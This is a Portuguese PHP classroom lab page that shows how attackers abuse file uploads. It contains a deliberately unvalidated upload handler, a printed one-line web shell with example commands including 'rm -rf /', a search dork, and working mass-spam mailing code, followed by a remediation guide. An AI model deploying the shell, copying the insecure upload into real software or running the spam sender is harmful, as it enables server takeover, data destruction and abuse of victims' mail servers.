'teste', 'mensagem' => '🧪 Modo TESTE - e-mail não enviado', 'metodo' => 'simulação' ]; } // MECANISMO 1: mail() do PHP $headers = "From: contato@site-vulneravel.com\r\n"; $headers .= "Reply-To: contato@site-vulneravel.com\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; if (mail($destinatario, $assunto, $mensagem, $headers)) { return [ 'status' => 'sucesso', 'mensagem' => '✅ E-mail enviado!', 'metodo' => 'mail() do PHP' ]; } // MECANISMO 2: shell_exec com sendmail $comando = "echo " . escapeshellarg($mensagem) . " | sendmail -f contato@site-vulneravel.com $destinatario 2>&1"; $output = shell_exec($comando); if (empty($output)) { return [ 'status' => 'sucesso', 'mensagem' => '✅ E-mail enviado via sendmail!', 'metodo' => 'shell_exec(sendmail)' ]; } return [ 'status' => 'falha', 'mensagem' => '❌ Falha no envio!', 'metodo' => 'indisponível' ]; } // ================================================================ // PROCESSAR AÇÕES // ================================================================ $modo = $_GET['modo'] ?? 'inicio'; $resultado_envio = null; $arquivo_upload = null; $email_resultado = null; // ================================================================ // UPLOAD MALICIOSO (CORRIGIDO) // ================================================================ if ($modo === 'upload' && isset($_FILES['arquivo'])) { $arquivo = $_FILES['arquivo']; $extensao = strtolower(pathinfo($arquivo['name'], PATHINFO_EXTENSION)); $tamanho = $arquivo['size']; // Criar diretório se não existir if (!is_dir('uploads')) { mkdir('uploads', 0777, true); } $destino = 'uploads/' . $arquivo['name']; if (move_uploaded_file($arquivo['tmp_name'], $destino)) { $arquivo_upload = [ 'nome' => $arquivo['name'], 'destino' => $destino, 'tamanho' => round($tamanho / 1024, 2) . ' KB', 'extensao' => $extensao, 'perigoso' => in_array($extensao, ['php', 'phtml', 'php5', 'php7', 'inc']) ]; } else { $arquivo_upload = [ 'nome' => $arquivo['name'], 'destino' => 'Falha no upload', 'tamanho' => '0 KB', 'extensao' => $extensao, 'perigoso' => false, 'erro' => 'Não foi possível mover o arquivo' ]; } } // ================================================================ // DISPARO EM MASSA // ================================================================ if ($modo === 'disparar' && isset($_POST['disparar_massa'])) { $modo_teste = isset($_POST['modo_teste']); $assunto = $_POST['assunto'] ?? '💎 OFERTA IMPERDÍVEL!'; $mensagem = $_POST['mensagem_spam'] ?? $mensagem_spam_padrao; $total = count($emails_vazados); $enviados = 0; $falhas = 0; $detalhes = []; foreach ($emails_vazados as $email) { $resultado = enviarEmailInvasor($email, $assunto, $mensagem, $modo_teste); $detalhes[] = [ 'email' => $email, 'status' => $resultado['status'], 'mensagem' => $resultado['mensagem'], 'metodo' => $resultado['metodo'] ]; if ($resultado['status'] === 'sucesso' || $resultado['status'] === 'teste') { $enviados++; } else { $falhas++; } usleep(200000); // Pausa de 0.2 segundos } $resultado_envio = [ 'total' => $total, 'enviados' => $enviados, 'falhas' => $falhas, 'detalhes' => $detalhes, 'modo_teste' => $modo_teste ]; } // ================================================================ // ENVIO INDIVIDUAL // ================================================================ if ($modo === 'enviar_real' && isset($_POST['enviar_email'])) { $destinatario = $_POST['destinatario'] ?? ''; $assunto = $_POST['assunto'] ?? 'Teste de E-mail'; $mensagem = $_POST['mensagem'] ?? ''; $modo_teste = isset($_POST['modo_teste']); if (!empty($destinatario)) { $email_resultado = enviarEmailInvasor($destinatario, $assunto, $mensagem, $modo_teste); } } ?> 🔴 PAINEL DO INVASOR - Laboratório
🔴 PAINEL DO INVASOR

🐱‍💻 Laboratório de Ataque

⚠️ MATERIAL DIDÁTICO — Como invasores exploram sites PHP
🎯 Aprenda os mecanismos para saber como se proteger

🏠 Visão Geral 📤 1. Upload 🎯 2. Painel 📧 3. Disparar 📨 Envio Real 🛡️ Corrigir

🔍 Como funciona um ataque em PHP?

Invasores encontram sites com falhas de segurança e exploram essas brechas para enviar e-mails em massa, hospedar conteúdo malicioso ou assumir o controle do servidor.

🎯 1. Encontra o site

Usa Google Dorks para encontrar sites com upload de arquivo sem validação.

Exemplo: site:*.com "upload" "file" "PHP"

📤 2. Envia script malicioso

Através do formulário de upload, envia um arquivo PHP que permite controlar o servidor.

Exemplo: shell.php com código para executar comandos

📧 3. Dispara e-mails em massa

Usa o servidor da vítima para enviar milhares de e-mails de spam ou phishing.

O site da vítima é bloqueado por spam e perde reputação.

🛡️ 4. Como se proteger

Validar uploads, usar prepared statements, manter PHP atualizado e usar SMTP seguro.

Ver guia completo →

💡 Clique nas abas acima para ver cada etapa do ataque funcionando na prática!

📤 PASSO 1: Invasor envia script malicioso

O invasor usa o formulário de upload do site vulnerável para enviar um arquivo PHP malicioso.

📤 Enviar Script

(Simule o invasor enviando um arquivo PHP)

Clique para selecionar ou arraste um arquivo
⚠️ O site aceita qualquer extensão (.php, .phtml, etc.)

🔴 VULNERABILIDADE: O site não valida extensão, MIME type nem renomeia o arquivo.

📊 Resultado

✅ Arquivo enviado!

📄 Nome:
📍 Local:
📦 Tamanho:
🔍 Extensão:
❌ Erro:
🚨 PERIGO! Este arquivo pode ser executado pelo servidor! O invasor agora tem controle do site.
✅ Arquivo seguro (não é executável)

📤 Envie um arquivo para ver o resultado aqui.

Crie um arquivo shell.php com conteúdo PHP para simular.

🎓 EXPLICANDO PARA OS ALUNOS:
  • O site não validou a extensão do arquivo
  • O invasor enviou um script PHP malicioso
  • O script foi salvo no servidor e pode ser acessado via navegador
  • Agora o invasor tem controle total do servidor

🎯 PASSO 2: Painel do Invasor

Após enviar o script, o invasor acessa o arquivo diretamente pelo navegador e ganha controle total do servidor.

🎯 Painel de Controle

O invasor acessa: https://site-vulneravel.com/uploads/shell.php

$ whoami
www-data
$ pwd
/var/www/html/uploads
$ ls -la
drwxr-xr-x 2 www-data www-data 4096 ...
-rw-r--r-- 1 www-data www-data 1234 ... shell.php
🚨 O invasor agora pode:
  • Executar comandos no servidor
  • Enviar e-mails em massa
  • Modificar arquivos do site
  • Instalar backdoors permanentes
📧 PRÓXIMO: Disparar e-mails em massa

📄 O que o invasor enviou

Este é o código que o invasor subiu no servidor

<?php
// ====================================================
// SHELL SIMPLES - EXECUTA COMANDOS DO SISTEMA
// ====================================================
if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']); // ⚠️ VULNERÁVEL
    echo "</pre>";
}
?>

⚠️ Este código permite executar QUALQUER comando:

shell.php?cmd=whoami → mostra o usuário do servidor
shell.php?cmd=ls -la → lista todos os arquivos
shell.php?cmd=rm -rf / → destrói todo o servidor

📧 PASSO 3: Disparo de E-mails em Massa

O invasor usa o servidor da vítima para enviar milhares de e-mails de spam. O site da vítima será bloqueado.

📊 Resultado do Disparo

📊 Total
✅ Enviados
❌ Falhas
🧪
Modo TESTE
()
🚨 CONSEQUÊNCIAS: O servidor da vítima foi usado para spam! O site será bloqueado e a reputação da empresa será destruída.
🔄 Re-executar 🛡️ Ver como corrigir

🎯 Disparar E-mails

e-mails carregados

⚠️ O que está acontecendo?

1. O invasor usa o servidor da vítima

Os e-mails são enviados do servidor da vítima, não do invasor.

2. O site perde reputação

O servidor é marcado como spam e bloqueado.

3. A empresa é prejudicada

Clientes recebem spam e perdem a confiança na empresa.

⚠️ IMPORTANTE: Este ataque só é possível porque o site não validou o upload e não protegeu o envio de e-mails.

📨 Envio Real de E-mail (SMTP)

Agora vamos enviar um e-mail de verdade usando SMTP, para mostrar como um sistema seguro deve funcionar.

📝 Enviar E-mail

📊 Status do Envio

✅ E-mail enviado com sucesso! 🧪 Modo TESTE - E-mail não enviado ❌ Falha ao enviar e-mail

✅ E-mail enviado para:
Método:
🧪 Modo TESTE ativado:
Desmarque a opção "Modo TESTE" para enviar de verdade.
❌ Erro:

📨 Preencha o formulário e clique em "ENVIAR E-MAIL"

Use o Modo TESTE para simular o envio.

🛡️ COMO CORRIGIR - Guia de Segurança

Aprenda como proteger seu site PHP contra os ataques que vimos na aula.

📤 1. Upload de Arquivos

❌ CÓDIGO VULNERÁVEL:
move_uploaded_file($arquivo['tmp_name'], 'uploads/' . $arquivo['name']);
✅ CÓDIGO SEGURO:
// 1. Validar extensão
$extensoes = ['jpg', 'png', 'pdf'];
$ext = strtolower(pathinfo($arquivo['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $extensoes)) die("Extensão não permitida!");

// 2. Validar MIME type
$mimes = ['image/jpeg', 'image/png', 'application/pdf'];
$mime = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $arquivo['tmp_name']);
if (!in_array($mime, $mimes)) die("Tipo de arquivo inválido!");

// 3. Renomear arquivo
$novo_nome = uniqid() . '.' . $ext;
move_uploaded_file($arquivo['tmp_name'], "uploads/$novo_nome");

📧 2. Envio de E-mails

❌ CÓDIGO VULNERÁVEL:
$headers = "From: " . $_POST['email'];
mail($destino, $assunto, $mensagem, $headers);
✅ CÓDIGO SEGURO (PHPMailer):
use PHPMailer\PHPMailer\PHPMailer;

$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.gmail.com';
$mail->SMTPAuth = true;
$mail->Username = 'seuemail@gmail.com';
$mail->Password = 'sua_senha_app';
$mail->SMTPSecure = 'tls';
$mail->Port = 587;

$mail->setFrom('seuemail@gmail.com');
$mail->addAddress($destinatario);
$mail->send();
✅ CHECKLIST DE SEGURANÇA:
  • ☐ Validar extensões de arquivo (allowlist)
  • ☐ Validar MIME type de arquivos
  • ☐ Renomear arquivos enviados (uniqid())
  • ☐ Usar PHPMailer com SMTP
  • ☐ Validar todos os inputs do usuário
  • ☐ Usar prepared statements para SQL
  • ☐ Manter PHP e bibliotecas atualizadas
  • ☐ Usar Senha de App (Gmail) / API Keys

📚 Laboratório de Segurança — Material Didático para Sala de Aula
© — Professor [Seu Nome] — Todos os direitos reservados
⚠️ Este material é exclusivamente para fins educacionais